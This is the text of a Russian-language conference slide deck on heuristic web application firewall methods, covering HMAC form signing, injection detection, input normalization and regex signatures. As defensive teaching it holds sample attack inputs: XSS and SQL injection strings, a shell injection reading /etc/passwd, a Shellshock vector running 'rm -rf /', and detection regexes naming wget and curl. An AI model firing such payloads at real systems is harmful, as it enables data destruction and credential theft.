SlideShare ist ein Scribd-Unternehmen logo
1 von 168
Заголовок
ptsecurity.com
Эвристические
методы
защиты
приложений
Руководитель группы
исследований технологий
защиты Positive Technologies
Денис Колегов
Заголовок
• Руководитель группы исследований технологий защиты Позитив
Текнолоджис
• Доцент, к.т.н., доцент кафедры защиты информации
и криптографии ТГУ
• https://twitter.com/dnkolegov
• dnkolegov@gmail.com
# whoami
Заголовок
• Введение
• Теория WAF
• Методы защиты веб-приложений
• Аутентификация веб-форм
• Обнаружение инъекций
• Встроенное распознавание
• Виртуальный патчинг
# План
Заголовок
• Учебно-демонстрационный межсетевой экран веб-приложений
• Shockfish WAF
• https://github.com/PositiveTechnologies/shockfish
• Shockfish.js Client-side WAF
• https://github.com/PositiveTechnologies/shockfish.js
# Shockfish
Заголовок
Введение
Заголовок
Веб-приложение – клиент-серверное приложение, в котором
клиентом является веб-браузер, сервером – веб-сервер,
а протоколом взаимодействия между ними – веб-протокол
Базовый состав
• Веб-браузер
• Веб-сервер / Сервер приложений
• СУБД
Определение
ЗаголовокКак работает веб-приложение
GET / HTTP/1.1
Host: www.example.com
Connection: close
HTTP/1.1 200 OK
Server: nginx
Content-Type: text/html
Content-Length: 51
Date: Mon, 29 Aug 2016 10:36:58 GMT
Connection: close
<!DOCTYPE html>
<html>
<body>
<h1>Hello, World!</h1>
</body>
</html>
Заголовок
Огромное количество технологий и их реализаций
Простота использования
Доступность и распространенность
Низкий порог входа
• Для разработчиков
• Для пентестеров / баг-хантеров
• Для злоумышленников
Особенности
Заголовок
Необходимо построить многоуровневую защиту
В принципе невозможно устранить уязвимость в самом приложении
• Legacy
• Third-party
Необходимый механизм защиты отсутствует или сложно реализуем
• Защита от подбора паролей
• Управление доступом
• Защита от нежелательной автоматизации
Необходимо немедленно устранить обнаруженную уязвимость до ее
реального устранения в исходном коде
А что если …?
Заголовок
В 1990-х годах активно используется принцип внешнего
монитора безопасности
Текущий подход: разрабатывать приложения защищенными,
а не полагаться на внешние механизмы защиты
Владимир Кочетков. Как разработать защищенное
веб-приложение и не сойти при этом с ума
Как правильно защищать приложения?
Заголовок
Теория WAF
Заголовок
• An appliance, server plugin, or filter that applies a set of rules to an HTTP
conversation
• A security solution on the web application level which does not depend
on the application itself
• A security policy enforcement point positioned between a web application
and the client end point. This functionality can be implemented in software
or hardware, running in an appliance device, or in a typical server running
a common operating system. It may be a stand-alone device or integrated into
other network components
Что такое WAF?
Web Application Firewall Evaluation Criteria
ЗаголовокКлассический WAF
Заголовок
Развертывание:
• Bridge
• Router
• Reverse proxy
• Embedded
• Out-of band (SPAN/RSPAN)
Доставка:
• Hardware integrated
• Appliance
• Claud
• Software-only (software, web-server module, middleware, … )
• Software integrated (RASP)
Классификация
Заголовок
Detective
• Первичная валидация данных (методы, длина запроса, длина и число заголовков, …)
• Обнаружение инъекций
Mitigative - ослабление атак, от которых трудно защититься
• Проверка на соответствие RFC
• Аутентификация сообщений
• Шифрование URL или скрытых полей
• Маскирование данных
• Блокирование IP-адреса или завершение сессии
Предотвращение (prevention) – предотвращение использования
обнаруженных уязвимостей
• Виртуальный патчинг
Механизмы защиты
ЗаголовокWAF Data-flow Model
Заголовок
• Валидация HTTP-запроса (метод, длина запросов, количество
заголовков и т.д.)
• Нормализация HTTP-запроса (HTTP Parameter Pollution &
Contamination)
• Обнаружение инъекций (SQLi, LDAP, XPath и т.д.)
• Парсинг данных (XML, JSON, AMF и т.д.)
• Проверка репутации IP
Обработка запросов
Заголовок
Обнаружение утечек данных:
• stack traces
• debug information
• application errors
Обнаружение недостатков конфигураций:
• отсутствие заголовков безопасности
• небезопасная политика CSP
• небезопасная конфигурация SSL/TLS
Обработка ответов
Заголовок
Корреляция запросов и ответов HTTP:
• обнаружение отражения параметров запроса в ответе (Reflected
XSS, Open Redirect, HTTP Response Splitting)
• обнаружение успешной эксплуатации уязвимости (например,
наличие вектора Path Traversal в запросе и содержимого файла
/etc/passwd в ответе)
• User tracking – ассоциирование запросов и ответов с учетными
записями пользователей защищаемого веб-приложения
Обработка транзакций
Заголовок
• Credentials bruteforcing
• Site scraping
• Common vulnerability scanning
• Account takeover
• HTTP slow DoS attacks
• L7 DDoS
• Fraud
Механизмы защиты реализуются на основе машинного обучения или
счетчиков (например, max requests per second, max 404 errors per minute и
т.д.)
Поведенческий анализ
Заголовок
Теория
• Теория формальных языков
• LangSec
Практика
• Модель черного ящика
• Множество технологий
• Отсутствие стандартов
• Развитие клиентских частей веб-приложений
Источники ограничений
Заголовок
Входные данные – формальный язык
WAF – универсальный распознаватель (recognizer) языков атак на веб-
приложения
Можно распознать эквивалентный или менее мощный язык
Теория формальных языков
Грамматика Распознаватель
Типа 0 Машина Тьюринга
Контекстно-зависимая Линейно-ограниченный
автомат
Недетерминированная
контекстно-свободная
Недетерминированный
автомат с магазинной памятью
Детерминированная
контекстно-свободная
Недетерминированный
автомат с магазинной памятью
Регулярная Конечный автомат
LangSec: Language-theoretic security
Заголовок
Недостаточное (неэффективное) распознавание (insufficient
recognition)
• распознавание КС-языка с помощью регулярного выражения
Различимость парсеров (parser differentials)
• одни и те же входные данные распознаются парсерами по-разному
Входные данные сложнее чем детерминированный контекстно-
свободный язык
Проблемы
M. Patterson, S. Bratus, etc. The Seven Turrets of Babel: A
Taxonomy of LangSec Errors and How to Expunge Them
Заголовок
Предположение. Язык инъекций КС-языка является как минимум
КЗ-языком
• ' or '1 ' = '1
Язык инъекций как минимум содержит цепочки (вектора) целевого
языка, а значит является КС-языком
• select * from foo where id = <injection>
• (select ((1)))
При этом префикс и постфикс являются контекстно-зависимыми
Проблемы
Заголовок
Веб-приложение для WAF – это просто последовательность
запросов и / или ответов
Непонимание контекста
Непонимание логики взаимодействия
• Боты
• Взлом аккаунта
• Злоупотребления (abuse / misuse)
Модель черного ящика
Заголовок
• HTTP (0.9, 1.0, 1.1, 1.2), WebSockets
• SSL (2.0, 3.0), TLS (1.0, 1.1, 1.2, 1.3), HSTS, HPKP, OCSP
• Load Balancers: F5 BIG-IP, Citrix NetScaler, …
• Web-servers: Apache, Nginx, IIS, GWS, Jetty, …
• Frameworks: ASP.NET, RoR, Django, Symfony, GWT, ExpressJS, …
• SQL Databases: MySQL, MS SQL, PostgreSQL, Oracle, …
• noSQL «Databases»: MongoDB, ElasticSearch, Redis, …
• Browsers: Chrome, IE, Opera, Firefox, Safari, Yandex Browser, …
• JavaScript libraries: jQuery, lodash, …
• JavaScript Frameworks: Angular, React, Ext.js, Ember.js, …
• HTML, CSS, XML, JSON
Множество технологий
Заголовок
Минута из жизни WAF
ЗаголовокМинута из жизни WAF
CATS	/app?pageId=1	HTTP/1.1
Host:	example.com
Connection:	close
Accept:	text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent:	Mozilla/5.0	(Windows	NT	6.3;	Win64;	x64)	AppleWebKit/537.36	(KHTML,	like	Gecko)	Safari/537.36
Accept-Encoding:	gzip,	deflate,	sdch
Accept-Language:	ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie:	JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
HTTP/1.1	403	Forbidden
Server:	WAF
Content-Type:	text/html;	charset=utf-8
Content-Length:	9
Connection:	close
Forbidden
ЗаголовокМинута из жизни WAF
CATS	/app?pageId=1	HTTP/1.1
Host:	example.com
Connection:	close
Accept:	text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent:	Mozilla/5.0	(Windows	NT	6.3;	Win64;	x64)	AppleWebKit/537.36	(KHTML,	like	Gecko)	Safari/537.36
Accept-Encoding:	gzip,	deflate,	sdch
Accept-Language:	ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie:	JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
HTTP/1.1	403	Forbidden
Server:	WAF
Content-Type:	text/html;	charset=utf-8
Content-Length:	9
Connection:	close
Forbidden
ЗаголовокМинута из жизни WAF
GET	/app?pageId=<svg/onload=alert(1)>	HTTP/1.1
Host:	example.com
Connection:	close
Accept:	text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding:	gzip,	deflate,	sdch
Acunetix-Product:	WVS/7	(Acunetix Web	Vulnerability	Scanner	– NORMAL)
Acunetix-Scanning-agreement:	Third	Party	Scanning	PROHIBITED
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
HTTP/1.1	403	Forbidden
Server:	WAF
Content-Type:	text/html;	charset=utf-8
Content-Length:	9
Connection:	close
Forbidden
ЗаголовокМинута из жизни WAF
GET	/app?pageId=<svg/onload=alert(1)>	HTTP/1.1
Host:	example.com
Connection:	close
Accept:	text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding:	gzip,	deflate,	sdch
Acunetix-Product:	WVS/7	(Acunetix Web	Vulnerability	Scanner	– NORMAL)
Acunetix-Scanning-agreement:	Third	Party	Scanning	PROHIBITED
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
HTTP/1.1	403	Forbidden
Server:	WAF
Content-Type:	text/html;	charset=utf-8
Content-Length:	9
Connection:	close
Forbidden
ЗаголовокМинута из жизни WAF
GET	/app?pageId=<script>alert(1)</script>	HTTP/1.1
Host:	example.com
Connection:	close
Accept:	text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent:	Mozilla/5.0	(Windows	NT	6.3;	Win64;	x64)	AppleWebKit/537.36	(KHTML,	like	Gecko)	Safari/537.36
Accept-Encoding:	gzip,	deflate,	sdch
Accept-Language:	ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie:	JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
HTTP/1.1	403	Forbidden
Server:	WAF
Content-Type:	text/html;	charset=utf-8
Content-Length:	9
Connection:	close
Forbidden
ЗаголовокМинута из жизни WAF
GET	/app?pageId=<script>alert(1)</script>	HTTP/1.1
Host:	example.com
Connection:	close
Accept:	text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent:	Mozilla/5.0	(Windows	NT	6.3;	Win64;	x64)	AppleWebKit/537.36	(KHTML,	like	Gecko)	Safari/537.36
Accept-Encoding:	gzip,	deflate,	sdch
Accept-Language:	ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie:	JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
HTTP/1.1	403	Forbidden
Server:	WAF
Content-Type:	text/html;	charset=utf-8
Content-Length:	9
Connection:	close
Forbidden
ЗаголовокМинута из жизни WAF
GET	/app/?id=50484e6a636d6c776444356862475679644367784b54777663324e796158423050673d3d	HTTP/1.1
Host:	example.com
Connection:	close
Accept:	text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent:	Mozilla/5.0	(Windows	NT	6.3;	Win64;	x64)	AppleWebKit/537.36	(KHTML,	like	Gecko)	
Accept-Encoding:	gzip,	deflate,	sdch
Accept-Language:	ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie:	JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
ЗаголовокМинута из жизни WAF
GET	/app/?id=50484e6a636d6c776444356862475679644367784b54777663324e796158423050673d3d	HTTP/1.1
Host:	example.com
Connection:	close
Accept:	text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent:	Mozilla/5.0	(Windows	NT	6.3;	Win64;	x64)	AppleWebKit/537.36	(KHTML,	like	Gecko)	
Accept-Encoding:	gzip,	deflate,	sdch
Accept-Language:	ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie:	JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
function getID(request) {
var rawID = request.getValue('id');
var id = hexdecode(base64decode(rawID));
return id;
}
// rawID = 50484e6a636d6c776444356862475679644367784b54777663324e796158423050673d3d
// id = <script>alert(1)</script>
Исходный	код
ЗаголовокМинута из жизни WAF
GET	/app/?id=50484e6a636d6c776444356862475679644367784b54777663324e796158423050673d3d	HTTP/1.1
Host:	example.com
Connection:	close
Accept:	text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent:	Mozilla/5.0	(Windows	NT	6.3;	Win64;	x64)	AppleWebKit/537.36	(KHTML,	like	Gecko)	
Accept-Encoding:	gzip,	deflate,	sdch
Accept-Language:	ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie:	JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
HTTP/1.1	200	OK
X-XSS-Protection:	0
Content-Type:	text/html;	charset=utf-8
Date:	Wed,	15	Jun	2016	12:34:25	GMT
Content-Length:	26
Connection:	close
<script>alert(1)</script>
ЗаголовокМинута из жизни WAF
GET	/app?callback=delete_user_data HTTP/1.1
Host:	example.com
Connection:	close
Accept:	text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent:	Mozilla/5.0	(Windows	NT	6.3;	Win64;	x64)	AppleWebKit/537.36	(KHTML,	like	Gecko)	Safari/537.36
Accept-Encoding:	gzip,	deflate,	sdch
Accept-Language:	ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie:	JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
HTTP/1.1	200	OK
X-XSS-Protection:	1
Content-Type:	text/html;	charset=utf-8
Date:	Wed,	15	Jun	2016	12:34:25	GMT
Content-Length:	26
Connection:	close
<html><body><script	type="text/javascript">	
window.opener.delete_user_data({"status":0,"token":"ItHumYWI[...snip..]","oauthstate":"1234","tokenid":"ToKeN1234
","tokenexp":"0","gid":"401223423..","url":"http://example.com"});	</script></body></html>
ЗаголовокМинута из жизни WAF
GET	/app?callback=delete_user_data HTTP/1.1
Host:	example.com
Connection:	close
Accept:	text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent:	Mozilla/5.0	(Windows	NT	6.3;	Win64;	x64)	AppleWebKit/537.36	(KHTML,	like	Gecko)	Safari/537.36
Accept-Encoding:	gzip,	deflate,	sdch
Accept-Language:	ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie:	JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
HTTP/1.1	200	OK
X-XSS-Protection:	1
Content-Type:	text/html;	charset=utf-8
Date:	Wed,	15	Jun	2016	12:34:25	GMT
Content-Length:	26
Connection:	close
<html><body><script	type="text/javascript">	
window.opener.delete_user_data({"status":0,"token":"ItHumYWI[...snip..]","oauthstate":"1234","tokenid":"ToKeN1234
","tokenexp":"0","gid":"401223423..","url":"http://example.com"});	</script></body></html>
ЗаголовокМинута из жизни WAF
GET	/app?page=1&page=<script>alert(1)</script>	HTTP/1.1
Host:	example.com
Connection:	close
Accept:	text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent:	Mozilla/5.0	(Windows	NT	6.3;	Win64;	x64)	AppleWebKit/537.36	(KHTML,	like	Gecko)	Safari/537.36
Accept-Encoding:	gzip,	deflate,	sdch
Accept-Language:	ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie:	JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
ЗаголовокМинута из жизни WAF
GET	/app?page=1&page=<script>alert(1)</script>	HTTP/1.1
Host:	example.com
Connection:	close
Accept:	text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent:	Mozilla/5.0	(Windows	NT	6.3;	Win64;	x64)	AppleWebKit/537.36	(KHTML,	like	Gecko)	Safari/537.36
Accept-Encoding:	gzip,	deflate,	sdch
Accept-Language:	ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie:	JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
ЗаголовокМинута из жизни WAF
POST	/download?document_id=1123123&user_id=234123423&action_id=100	HTTP/1.1
Host:	example.com
Connection:	close
Accept:	text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent:	Mozilla/5.0	(Windows	NT	6.3;	Win64;	x64)	AppleWebKit/537.36	(KHTML,	like	Gecko)	Safari/537.36
Accept-Encoding:	gzip,	deflate,	sdch
Accept-Language:	ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie:	JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
ЗаголовокМинута из жизни WAF
POST	/download?document_id=1123123&user_id=234123423&action_id=100	HTTP/1.1
Host:	example.com
Connection:	close
Accept:	text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent:	Mozilla/5.0	(Windows	NT	6.3;	Win64;	x64)	AppleWebKit/537.36	(KHTML,	like	Gecko)	Safari/537.36
Accept-Encoding:	gzip,	deflate,	sdch
Accept-Language:	ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie:	JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
ЗаголовокМинута из жизни WAF
GET	/delete_account HTTP/1.1
Host:	example.com
Connection:	close
Accept:	text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent:	Mozilla/5.0	(Windows	NT	6.3;	Win64;	x64)	AppleWebKit/537.36	(KHTML,	like	Gecko)	Safari/537.36
Accept-Encoding:	gzip,	deflate,	sdch
Accept-Language:	ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie:	JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
HTTP/1.1	200	OK
X-XSS-Protection:	1
Content-Type:	text/html;	charset=utf-8
Date:	Wed,	15	Jun	2016	12:34:25	GMT
Content-Length:	26
Connection:	close
ЗаголовокМинута из жизни WAF
GET	/delete_account HTTP/1.1
Host:	example.com
Connection:	close
Accept:	text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent:	Mozilla/5.0	(Windows	NT	6.3;	Win64;	x64)	AppleWebKit/537.36	(KHTML,	like	Gecko)	Safari/537.36
Accept-Encoding:	gzip,	deflate,	sdch
Accept-Language:	ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie:	JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
HTTP/1.1	200	OK
X-XSS-Protection:	1
Content-Type:	text/html;	charset=utf-8
Date:	Wed,	15	Jun	2016	12:34:25	GMT
Content-Length:	26
Connection:	close
Заголовок
Эвристические методы защиты
Заголовок
• Аутентификация веб-форм
• Обнаружение инъекций
• Встроенное распознавание
• Виртуальный патчинг
Методы защиты
Заголовок
Аутентификация веб-форм
ЗаголовокВ чем проблема?
<html>
<body>
<form action="update" method="POST">
<input type="hidden" name="price" value="100">
<input type="hidden" name="role" value="user">
<input type="text" name="quantity" value="">
<input type="text" name="email" value="user@myshop.com">
<input type="submit" value="Send">
</form>
</body>
</html>
POST /update HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
price=100&role=user&quantity=1&email=user@myshop.com
Заголовок
• CSRF
• SSRF
• Injections (SQLi, XSS, LDAPi, …)
• Access control attacks (IDOR)
• Business logic attacks
Форма одна, атак много…
ЗаголовокПример
Заголовок
«Подписи запросов» API
• Yahoo, Amazon S3, Facebook
ASP.NET Framework
• Event Validation
• View State MAC
WAF
• ModSecurity: HMAC Token Protection
• F5 Networks ASM: Dynamic Content Value
• Citrix NetScaler: Form Signature
• PT AF: Form Signing
Механизм защиты
Заголовок
Client ← Server: p, h(k, p)
Client → Server: p', h(k, p)
Server: h(k, p) = h(k, p')
Параметры:
• h – функция HMAC
• p – значение параметра
• k – секретный ключ сервера
Элементарный протокол
ЗаголовокЭлементарный протокол
<html>
<body>
<form action="update" method="POST">
<input type="text" name="price" value="100">
<input type="submit" value="Send">
</form>
</body>
</html>
POST /update HTTP/1.1
Host: server.com
Content-Type: application/x-www-form-urlencoded
price=100
Заголовок
Содержание в формах большого количества полей
Различное представление форм для различных клиентов
Наличие в формах опциональных элементов
• Checkbox
• Option
• Radio
Идентификация защищаемых форм в HTTP-ответах
Идентификация скрытых элементов форм в HTTP-запросах
Ввод данных на стороне клиента
Сложности на практике
Заголовок
Client ← Server: p, h(k, p)
Client → Server: p', h(k, p)
Server: h(k, p) = h(k, p')
Как использовать этот протокол если значение p формируется
в браузере на основе ввода пользователя?
Ввод данных на стороне клиента
Заголовок
Client ← Server: p, h(k, Tr(p, regex))
Client → Server: p', h(k, Tr(p, regex))
Server: h(k, Tr(p, regex)) = h(k, Tr(p', regex))
Параметры:
• regex – валидирующее регулярное выражение для значения параметра
• Tr(s, regex) – операция удаления из строки s подстрок, соответствующих
regex
• Tr("abc123", "[a-z]+" ) = "123"
Валидирующее хэширование
key
string
regex R
HMAC of	L(R)
Заголовок
1. Построение Authentication Base String (ABS)
• Method
• URL
• Идентификатор сессии
• Параметры
• Имя
• [Значение]
• [Тип]
Метод вычисления токена
Заголовок
2. Построение контейнеров формы
• Контейнер скрытых полей - HFC
HFC = {hp1_name, …, hpM_name}
• Контейнер опциональных полей - OFC
OFC = {
{op1_name, op1_value1, …, op1_valueN1},
…,
{opL_name, opL_value1, …, opL_valueNL}
}
Метод вычисления токена
Заголовок
3. Вычисление подписи
signature = HMAC(k, HFC · OFC · HMAC(k, ABS, time))
• k – секретный ключ
• time – текущее значение времени
Метод вычисления токена
Заголовок
1. Парсинг входящего HTTP-запроса
2. Проверка метода запроса
3. Проверка наличия токена
4. Для POST-запроса по полученному URL выполняется поиск политики
5. Если политика найдена, то распаковываются данные из токена
6. Проверка опциональных и скрытых полей, если они есть
7. Формирование ABS и его проверка
Метод проверки токена
Заголовок
• Нельзя защитить формы, динамически сгенерированные
на стороне клиента средствами JavaScript
• Нельзя защитить формы, отправленные средствами JavaScript
• Необходимо различать запросы, отправленные средствами
веб-форм от запросов AJAX
• Сложно защитить формы, отправляемые на сервер
методом GET
Ограничения метода
Заголовок
• Защита приложения от анализа
• Уменьшение поверхности атак на приложение
• Противодействие средствам автоматизации
• Предотвращение использования известных эксплойтов
Результаты
ЗаголовокПример: исходная форма
<html>
<body>
<form action="update" method="POST">
<input type="hidden" name="price" value="100">
<input type="hidden" name="role" value="user">
<input type="text" name="quantity" value="1">
<input type="text" name="email" value="user@myshop.com">
</form>
</body>
</html>
ЗаголовокПример: описание языка
<html>
<body>
<form action="update" method="POST">
<input type="hidden" name="price" value="100">
<input type="hidden" name="role" value="user">
<input type="text" name="quantity" value="1">
<input type="text" name="email" value="user@myshop.com">
</form>
</body>
</html>
Регулярный язык: d+
ЗаголовокПример: генерация токена
ABS = base64("#POST#/update#price:100:&role:user:&quantity::#")
HFC = "#price#role"
signature = HMAC(k, HFC · HMAC(k, ABS, time))
token = base64(HFC · signature · time)
ЗаголовокПример: новая форма
<html>
<body>
<form action="update" method="POST">
<input type="hidden" name="price" value="100">
<input type="hidden" name="role" value="user">
<input type="text" name="quantity" value="1">
<input type="text" name="email" value="user@myshop.com">
<input type="hidden" name="token" value="2341234123…">
</form>
</body>
</html>
ЗаголовокПример: аутентичный запрос
POST	/update	HTTP/1.1
Host:	server.com
Content-Type:	application/x-www-form-urlencoded
User-Agent:	Mozilla/5.0	(Windows	NT	6.3;	WOW64;	rv:48.0)	Gecko/20100101	Firefox/48.0
Cookie:	session=38475238453847523847523847583475238475
price=100&quantity=2&role=user&email=user@goodmail.com&token=2341234123…
ЗаголовокПример: атака CSRF
POST	/delete HTTP/1.1
Host:	server.com
Content-Type:	application/x-www-form-urlencoded
User-Agent:	Mozilla/5.0	(Windows	NT	6.3;	WOW64;	rv:48.0)	Gecko/20100101	Firefox/48.0
Cookie:	session=38475238453847523847523847583475238475
price=100&quantity=2&role=user&email=user@goodmail.com&token=
ЗаголовокПример: атака повтора
POST	/admin/delete_account HTTP/1.1
Host:	server.com
Content-Type:	application/x-www-form-urlencoded
User-Agent:	Mozilla/5.0	(Windows	NT	6.3;	WOW64;	rv:48.0)	Gecko/20100101	Firefox/48.0
Cookie:	session=43538475283745823748572345374527345
user=100001&token=2341234123…
ЗаголовокПример: атака на бизнес-логику
POST	/update	HTTP/1.1
Host:	server.com
Content-Type:	application/x-www-form-urlencoded
User-Agent:	Mozilla/5.0	(Windows	NT	6.3;	WOW64;	rv:48.0)	Gecko/20100101	Firefox/48.0
Cookie:	session=38475238453847523847523847583475238475
price=-100&quantity=2&role=user&email=user@goodmail.com&token=2341234123…
ЗаголовокПример: атака HPP
POST	/update	HTTP/1.1
Host:	server.com
Content-Type:	application/x-www-form-urlencoded
User-Agent:	Mozilla/5.0	(Windows	NT	6.3;	WOW64;	rv:48.0)	Gecko/20100101	Firefox/48.0
Cookie:	session=38475238453847523847523847583475238475
price=100&quantity=2&role=user&price=-100&token=2341234123…
ЗаголовокПример: атака IDOR
POST	/update	HTTP/1.1
Host:	server.com
Content-Type:	application/x-www-form-urlencoded
User-Agent:	Mozilla/5.0	(Windows	NT	6.3;	WOW64;	rv:48.0)	Gecko/20100101	Firefox/48.0
Cookie:	session=38475238453847523847523847583475238475
price=100&quantity=2&role=admin&email=user@goodmail.com&token=2341234123…
ЗаголовокПример: атака XSS
POST	/update	HTTP/1.1
Host:	server.com
Content-Type:	application/x-www-form-urlencoded
User-Agent:	Mozilla/5.0	(Windows	NT	6.3;	WOW64;	rv:48.0)	Gecko/20100101	Firefox/48.0
Cookie:	session=38475238453847523847523847583475238475
price=100&quantity=<svg/onload=alert(1)>&role=user&token=2341234123…
Заголовок
Обнаружение инъекций
Заголовок
Normalization
Negative security model (Blacklisting)
• Signature-based (regular expressions, text)
• Rule-based
• Syntax-based
Positive security model (Whitelisting)
• Static Profiling
• Dynamic Profiling
• Machine learning
Механика обнаружения инъекций
Web Application Firewall Evaluation Criteria
Заголовок
Основной признак инъекции
Заголовок
Алгоритм формирования выходных данных DOUTPUT на основе
входных данных DINPUT уязвим к атаке инъекции, если
дерево разбора (parse tree) для DOUTPUT зависит от DINPUT
Признак уязвимости к инъекции
ЗаголовокПример
http://example.com/foo.html#1
http://example.com/foo.html#1;alert(1);
var input = location.hash.slice(1);
document.write("<scr"+"ipt>var foo = "+ input +"; </scr"+"ipt>");
<script> var foo = 1;alert(1); <script>
<script> var foo = 1; <script>
ЗаголовокПример
var foo = 1; var foo = 1; alert(1);
Заголовок
SQL: id=42' or 1=1-- -
HTML: 111"><a href = "//evil.com">
JavaScript: 1"; alert(document.domain);//
Shell Command Injection: 192.168.10.1 && cat /etc/passwd
LDAP Injection: admin)|((userpassword=*)
XPath Injection: user' or name()='admin' or 'x'='y
Shellshock: test () { :; }; rm –rf /
Примеры инъекций
Заголовок
Нормализация
Заголовок
Нормализация – процесс преобразования данных к виду, понимаемому защищаемым веб-
приложением
Цель – устранение недостатка типа Differential Parsing
Кодирование
• URL decoding
• Null-byte string termination
• BASE64 decoding
• HTML entities decoding
• Double encoding
Парсинг
• URL Path
• HTTP Parameters
• Hostname
Нормализация
ЗаголовокПример
GET	/update?id=1+union+select+1/* HTTP/1.1
Host:	server.com
Content-Type:	application/x-www-form-urlencoded
User-Agent:	Mozilla/5.0	(Windows	NT	6.3;	WOW64;	rv:48.0)	Gecko/20100101	Firefox/48.0
Cookie:	session=38475238453847523847523847583475238475
ЗаголовокПример
GET	/update?id=1;select+1&id=2,3# HTTP/1.1
Host:	server.com
Content-Type:	application/x-www-form-urlencoded
User-Agent:	Mozilla/5.0	(Windows	NT	6.3;	WOW64;	rv:48.0)	Gecko/20100101	Firefox/48.0
Cookie:	session=38475238453847523847523847583475238475
ASP.NET/IIS
id	=	1;SELECT	1,2,3	#
PHP/Apache
id	=	2,3	#
ЗаголовокОбработка Path
ЗаголовокHTTP Parameter Pollution
ЗаголовокHTTP Parameter Contamination
Заголовок
Основные принципы нормализации
• приведение обрабатываемых данных к такому же формату и виду,
к каким приведет его защищаемое веб-приложение
• эквивалентный парсинг
T. Ptacek, T.Newsham. Insertaion, Evasion, and Denial of Service: Eluding
Network Intrusion Detection. Secure Networks, Inc. 1998
Ivan Ristic. Protocol-Level Evasion of Web Application Firewalls
Нормализация
Заголовок
Negative Security Model
Заголовок
Лексический подход (регулярные выражения)
Лексико-сигнатурный подход
• Libinjection (Nick Galbreath)
Синтаксический подход (parsing-based)
• Dejector (Patterson, Hansen)
• Libdetection (Wallarm)
• Waf.js (Positive Technologies)
• Indexed syntax graph (Shape Security)
Negative Security Model
Заголовок
Лексический подход
Заголовок
Использование регулярных выражений (конечных автоматов)
для распознавания регулярного языка атак
Имеется L – регулярный язык атак, заданный регулярными
выражениями R
Если входное слово принадлежит языку L, т. е. допускается
регулярным выражением из R, то входное слово – атака
Лексический подход
ЗаголовокЛексический подход
(?:/[^?/]+.(?:bat|cmd|ps1|wsf|sh|wsh|hta|vbs|vbe)(?:;[^?/]*)??)|?.+=.*(?:(?:ActiveXObject|CreateObject|Exec)((?:"|')|((?:'|
")WScript.Shell)
LDAP Search Filter Injection
(?:((?:W*?(?:objectc(?:ategory|lass)|homedirectory|[gu]idnumber|cn)bW*?=|[^wx80-xFF]*?[!&|][^wx80-
xFF]*?()|)[^wx80-xFF]*?([^wx80-xFF]*?[!&|])
Reflected File Download
SSRF
(gopher|jar|tftp|php|phar|ldap|dict|ssh2|file|ogg|expect|imap|pop3|smtp|telnet|mailto|zlib|rar|compress.zlib|glob|data)://
(?i:(?:[;|`]W*?bcc|b(wget|curl))b|/cc(?:['"|;`-s]|$))
OS Command Injection
SSI Injection
<!--W*?#W*?(?:e(?:cho|xec)|printenv|include|cmd)
ЗаголовокЛексический подход
Reflected File Download
ЗаголовокЛексический подход
SQL Injection
#		Detect	SQL	Comment	Sequences
